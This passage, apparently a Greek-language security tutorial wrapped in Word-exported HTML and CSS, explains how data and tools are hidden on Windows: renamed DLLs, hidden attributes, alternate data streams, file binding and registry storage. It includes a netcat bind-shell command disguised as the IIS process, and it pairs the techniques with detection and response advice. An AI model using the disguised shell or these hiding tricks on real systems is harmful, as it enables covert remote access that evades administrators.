mso-fareast-language:EN-US;} span.HeaderChar  {mso-style-name:"Header Char";  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-unhide:no;  mso-style-locked:yes;  mso-style-link:Header;  mso-ansi-font-size:11.0pt;  mso-bidi-font-size:11.0pt;  mso-fareast-language:EN-US;} span.FooterChar  {mso-style-name:"Footer Char";  mso-style-priority:99;  mso-style-unhide:no;  mso-style-locked:yes;  mso-style-link:Footer;  mso-ansi-font-size:11.0pt;  mso-bidi-font-size:11.0pt;  mso-fareast-language:EN-US;} .MsoChpDefault  {mso-style-type:export-only;  mso-default-props:yes;  font-size:10.0pt;  mso-ansi-font-size:10.0pt;  mso-bidi-font-size:10.0pt;  mso-ascii-font-family:Calibri;  mso-fareast-font-family:Calibri;  mso-hansi-font-family:Calibri;} @page Section1  {size:595.3pt 841.9pt;  margin:72.0pt 90.0pt 72.0pt 90.0pt;  mso-header-margin:35.4pt;  mso-footer-margin:35.4pt;  mso-paper-source:0;} div.Section1  {page:Section1;}  /* List Definitions */  @list l0  {mso-list-id:210651210;  mso-list-type:hybrid;  mso-list-template-ids:1549961172 67633153 67633155 67633157 67633153 67633155 67633157 67633153 67633155 67633157;} @list l0:level1  {mso-level-number-format:bullet;  mso-level-text:;  mso-level-tab-stop:none;  mso-level-number-position:left;  text-indent:-18.0pt;  font-family:Symbol;} @list l1  {mso-list-id:1163935983;  mso-list-type:hybrid;  mso-list-template-ids:-1335433682 67633153 67633155 67633157 67633153 67633155 67633157 67633153 67633155 67633157;} @list l1:level1  {mso-level-number-format:bullet;  mso-level-text:;  mso-level-tab-stop:none;  mso-level-number-position:left;  text-indent:-18.0pt;  font-family:Symbol;} @list l2  {mso-list-id:1183789023;  mso-list-type:hybrid;  mso-list-template-ids:1874363000 67633153 67633155 67633157 67633153 67633155 67633157 67633153 67633155 67633157;} @list l2:level1  {mso-level-number-format:bullet;  mso-level-text:;  mso-level-tab-stop:none;  mso-level-number-position:left;  text-indent:-18.0pt;  font-family:Symbol;} @list l3  {mso-list-id:1297176445;  mso-list-type:hybrid;  mso-list-template-ids:435428462 67633153 67633155 67633157 67633153 67633155 67633157 67633153 67633155 67633157;} @list l3:level1  {mso-level-number-format:bullet;  mso-level-text:;  mso-level-tab-stop:none;  mso-level-number-position:left;  text-indent:-18.0pt;  font-family:Symbol;} @list l4  {mso-list-id:1892424985;  mso-list-type:hybrid;  mso-list-template-ids:-121369088 67633167 67633177 67633179 67633167 67633177 67633179 67633167 67633177 67633179;} @list l4:level1  {mso-level-tab-stop:none;  mso-level-number-position:left;  text-indent:-18.0pt;} @list l5  {mso-list-id:2038000515;  mso-list-type:hybrid;  mso-list-template-ids:-1258504174 67633153 67633155 67633157 67633153 67633155 67633157 67633153 67633155 67633157;} @list l5:level1  {mso-level-number-format:bullet;  mso-level-text:;  mso-level-tab-stop:none;  mso-level-number-position:left;  margin-left:72.0pt;  text-indent:-18.0pt;  font-family:Symbol;} @list l6  {mso-list-id:2067293519;  mso-list-type:hybrid;  mso-list-template-ids:-943193806 67633153 67633155 67633157 67633153 67633155 67633157 67633153 67633155 67633157;} @list l6:level1  {mso-level-number-format:bullet;  mso-level-text:;  mso-level-tab-stop:none;  mso-level-number-position:left;  text-indent:-18.0pt;  font-family:Symbol;} ol  {margin-bottom:0cm;} ul  {margin-bottom:0cm;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-qformat:yes;  mso-style-parent:"";  mso-padding-alt:0cm 5.4pt 0cm 5.4pt;  mso-para-margin:0cm;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Calibri","sans-serif";} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Data Hiding&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;The easiest way to hide data on a windows machine is by simply renaming the file extension.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;In windows , unlike linux, this will change the icon of the file.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Έτσι,ενα οποιοδήποτε αρχείο μπορεί να μετονομαστεί σε .&lt;span style="" lang="EN-US"&gt;dll&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;και να μπει στο κατάλογο %&lt;span style="" lang="EN-US"&gt;WINDIR&lt;/span&gt;%\&lt;span style="" lang="EN-US"&gt;system&lt;/span&gt;32 , γεγονός που κάνει την εύρεση του αρχείου αρκετά δύσκολη ακόμα και για πολύ έμπειρους διαχειριστες συστημάτων. Πόσο μάλλον αν το μετονομασμένο αρχείο έχει μετονομαστεί σε &lt;span style="" lang="EN-US"&gt;msodbc&lt;/span&gt;32.&lt;span style="" lang="EN-US"&gt;dll&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Στα &lt;span style="" lang="EN-US"&gt;windows&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;τα &lt;span style="" lang="EN-US"&gt;associations&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;των αρχειών μπορούν να εμφανι&lt;span style="" lang="EN-US"&gt;s&lt;/span&gt;τουν με την εντολή &lt;span style="" lang="EN-US"&gt;assoc&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Για να ενισχύσουμε το παραπάνω επιχείρημα ας δούμε το παρακάτω παράδειγμα:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;C:\intepub\&gt;inetinfo –L –d –p 80 –e cmd.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Εκτελώντας το «&lt;span style="" lang="EN-US"&gt;netstat&lt;/span&gt; –&lt;span style="" lang="EN-US"&gt;an&lt;/span&gt;» φαίνεται ότι η πόρτα 80 είναι ανοιχτή και σας περιμένει, και απο τον τασκ μανατζερ οτι τρέχει η εφαρμογή &lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;inetinfo&lt;/span&gt;. &lt;/i&gt;&lt;/b&gt;Αυτή η πληροφορία θα μπορούσε να ξεγελάσει ένα διαχειριστή μέχρι να δοκιμάσει να συνδεθεί με ένα φυλομετρητή(&lt;span style="" lang="EN-US"&gt;Browser&lt;/span&gt;). Επειδή το &lt;span style="" lang="EN-US"&gt;NetCat&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;δεν είναι &lt;span style="" lang="EN-US"&gt;web&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;server&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;απλά δεν θα γυρίσει το αναμενόμενο &lt;span style="" lang="EN-US"&gt;html&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;αποτέλεσμα. Περαιτέρω ανάλυση απο το διαχειριστή θα δείξει ότι το &lt;span style="" lang="EN-US"&gt;service&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;του &lt;span style="" lang="EN-US"&gt;web&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;server&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;δεν τρέχει και ότι μόλις συνδεθεί κάποιος με &lt;span style="" lang="EN-US"&gt;netcat&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;se&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;client&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;mode&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;θα του εμφανιστεί μια κονσόλα.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt; &lt;/span&gt;Ο μοναδικός τρόπος που μπορεί να περιορίσει τέτοια προβλήματα είναι με τη σωστές πολιτικές ασφαλείας, με τη χρήση δικαιωματων, καθως και με τα &lt;span style="" lang="EN-US"&gt;Access&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Control&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Lists&lt;/span&gt;(&lt;span style="" lang="EN-US"&gt;ACL&lt;/span&gt;)&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Έτσι, αν ο χρήστης δεν έχει δικαιώματα να γράψει στο κατάλογο &lt;span style="" lang="EN-US"&gt;system&lt;/span&gt;32 , τότε απλα δεν θα γραφεί τίποτα σε αυτόν το κατάλογο, εμποδίζοντας έτσι την εγκατάσταση &lt;span style="" lang="EN-US"&gt;malware&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;ή /και &lt;span style="" lang="EN-US"&gt;malicious&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;actions&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Τρόποι αντιμετώπισης της πρακτικής μετονομασίας είναι η ανάλυση της υπογραφής των αρχείων &lt;span style="" lang="EN-US"&gt;file&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;signature&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;analysis&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;ή με &lt;span style="" lang="EN-US"&gt;baseline&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;scan&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Ένα άλλος τρόπος είναι με την χρήση των &lt;span style="" lang="EN-US"&gt;attributes&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;των αρχείων με την εντολή &lt;span style="" lang="EN-US"&gt;attrib&lt;/span&gt; –&lt;span style="" lang="EN-US"&gt;h&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;όπου κρύβει το αρχείο . Η λύση πολύ απλή . &lt;span style="" lang="EN-US"&gt;View&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;hidden&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;files&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;ή απο κονσόλα &lt;span style="" lang="EN-US"&gt;dir&lt;/span&gt; /&lt;span style="" lang="EN-US"&gt;ah&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Αλλοι τρόποι αποκρυψης δεδομένων.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;File&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;segmentation&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Άλλος ένας τρόπος για την αποκρυψη δεδομένων σε ενα &lt;span style="" lang="EN-US"&gt;live&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;συστημα είναι ο τρόπος της κατάτμησης δεδομένων. Αυτή η τεχνική υπάρχει απο τις παλίες εποχές του &lt;span style="" lang="EN-US"&gt;DOS&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;όπου αν ένα αρχείο δεν χώραγε σε μια δισκέττα χωριζόταν σε πολλές και μετα ξαναενωνόταν.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Με τη χρήση αυτής της τεχνικής μπορούν να κρυφτούν αρχεία σε διάφορα μέρη ή και ακόμα στο τέλος άλλων αρχείων ή και σαν κλειδιά &lt;span style="" lang="EN-US"&gt;binary&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;στη &lt;span style="" lang="EN-US"&gt;registry&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;File&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Binding&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;To&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;file&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;binding&lt;/span&gt; είναι η μέθοδος δυαδικής ένωσης δυο αρχείων. Χωρίς το ένα να επηρεάζει το άλλο. Ο τρόπος λειτουργίας του είναι απλός, εκτελώντας το ένα αρχείο εκτελείται και το δευτερο.(&lt;span style="" lang="EN-US"&gt;ELITEWRAP&lt;/span&gt;)&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;NTFS&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Alternate&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Data&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Streams&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;TO&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;NTFS&lt;/span&gt; είναι το προτεινόμενο &lt;span style="" lang="EN-US"&gt;filesystem&lt;/span&gt; των &lt;span style="" lang="EN-US"&gt;windows&lt;/span&gt; με πολλά πλεονεκτήματα έναντι του παλιού &lt;span style="" lang="EN-US"&gt;FAT&lt;/span&gt; όπως τα δικαιώματα ανα κατάλογο κτλ.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;ΤΟ &lt;span style="" lang="EN-US"&gt;NTFS&lt;/span&gt; (όπως και της &lt;span style="" lang="EN-US"&gt;apple&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;to&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;HFS&lt;/span&gt;)αποτελείται απο δύο κομμάτια ένα &lt;span style="" lang="EN-US"&gt;Master&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;File&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Table&lt;/span&gt; (&lt;span style="" lang="EN-US"&gt;MFT&lt;/span&gt;) και τα επιπρόσθετα &lt;span style="" lang="EN-US"&gt;attributes&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;ή πιο συγκεκριμενα εναλλακτικες ροές δεδομένων.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Για την καλύτερη κατανόηση τι είναι οι εναλλακτικές ροές δεδομένων ας δούμε το παρακάτω παράδειγμα.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Echo “This is the normal file, main data stream” &gt; example.txt&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Echo “This is an alternate data stream” &gt; example.txt:ads.txt&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;Ta&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;ADS&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;είναι κρυφά απο τη εντολή &lt;span style="" lang="EN-US"&gt;dir&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;των &lt;span style="" lang="EN-US"&gt;windows&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;(&lt;span style="" lang="EN-US"&gt;LIVE&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;DEMO&lt;/span&gt;)&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;TA&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;ADS&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;είναι &lt;span style="" lang="EN-US"&gt;viewable&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;απο &lt;span style="" lang="EN-US"&gt;third&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;party&lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;προγράμματα όπως &lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;foundstone&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;sfind&lt;/span&gt;.&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;/i&gt;, &lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;sysinternals&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;streams&lt;/span&gt;.&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;,&lt;/i&gt; &lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;frank&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;heyne&lt;/span&gt;’&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;s&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;lads&lt;/span&gt;.&lt;/i&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Hiding&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;data&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;in&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;the&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;registry&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;H&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Registry&lt;/span&gt; είναι ένα ακόμα μερος που μπορουν να κρυφτούν δεδομένα σε διάφορα &lt;span style="" lang="EN-US"&gt;formats&lt;/span&gt;. Ακόμα και ολόκληρα (μικρα σχετικα σε μέγεθος)προγραμματα μπορουν να αποθηκευτουν σε &lt;span style="" lang="EN-US"&gt;binary&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;strings&lt;/span&gt;, τα οποία &lt;span style="" lang="EN-US"&gt;strings&lt;/span&gt; μπορούν με τη σειρά τους να γίνουν &lt;span style="" lang="EN-US"&gt;segmented&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Steganography&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Η γνωστή σε όλους τέχνη της απόκρυψης δεδομένων σε «εμφανή» σημεία όπως μέσα σε φωτογραφείες.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Windows&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;File&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Protection&lt;/span&gt; (&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;WFP&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;To&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;WFP&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;προστατεύει την ακεραιότητα διαφόρων αρχείων του συστήματος. Αν κάποιο πρόγραμμα επιχειρήσει την τροποποίηση ή διαγραφή ενός τέτοιου αρχείου τότε αυτή η ενέργεια καταγράφεται στα &lt;span style="" lang="EN-US"&gt;logs&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;και ταυτόχρονα το οριτζιναλ αρχείο γίνεται &lt;span style="" lang="EN-US"&gt;reload&lt;/span&gt; .&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Ωστόσο τα &lt;span style="" lang="EN-US"&gt;windows&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;δεν θα αντιδράσουν καθόλου αν σε κάποιοα πο τα αρχεία που προστατεύουν προστεθεί ένα &lt;span style="" lang="EN-US"&gt;ADS&lt;/span&gt;. ‘&lt;span style="" lang="EN-US"&gt;E&lt;/span&gt;τσι, όχι μόνο δεν φαίνονται τα &lt;span style="" lang="EN-US"&gt;ADS&lt;/span&gt;, αλλα πέρα &lt;span style=""&gt; &lt;/span&gt;του ότι τα &lt;span style="" lang="EN-US"&gt;windows&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;δεν προστατεύουν απο εναλλακτικές ροές τα αρχεία του συστήματος ,&lt;span style=""&gt;  &lt;/span&gt;δεν ειδοποιούν ούτε τον διαχειριστή σε με τέτοια αλλαγή.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Incident&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Preparation&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Προκειμένου να ολοκληρωθεί η προετοιμασία για ένα περιστατικό, πρέπει να γνωρίζουμε τα παρακάτω:&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpFirst" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Καλή γνώση του λειτουργικου που διαχειριζόμαστε&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Κατανόηση του τι προστατεύουμε&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Επιβεβαίωση αποκλεισμού όλων των πιθανών διόδων&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Επιβεβαίωση προετοιμασίας άμυνας σε επίπεδα&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpLast" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Παρακολούθηση της άμυνας για πρόωρα σημάδια ενος περιστατικού&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;Τα παραπάνω θα πρέπει να υποστηριχθούν απο αυστηρές πολιτικές ασφαλείας καθώς και απο αυστηρούς κανόνες σε &lt;span style="" lang="EN-US"&gt;firewalls&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;και &lt;span style="" lang="EN-US"&gt;access&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;control&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;lists&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Incident Response Tools&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpFirst" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;1.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;!--[endif]--&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;Volatile Data&lt;span style=""&gt;     &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle"&gt;Στα &lt;span style="" lang="EN-US"&gt;Volatile&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Data&lt;/span&gt; υπάρχει συνήθως ένας πλούτος πληροφοριών που μπορούμε να χρησιμοποιήσουμε για να αποφασίσουμε αν έγινε ή όχι κάποιο περιστατικό.&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle"&gt;Τα &lt;span style="" lang="EN-US"&gt;Volatile&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Data&lt;/span&gt; αποτελούνται συνήθως από:&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="margin-left: 72pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Ώρα συστήματος&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" 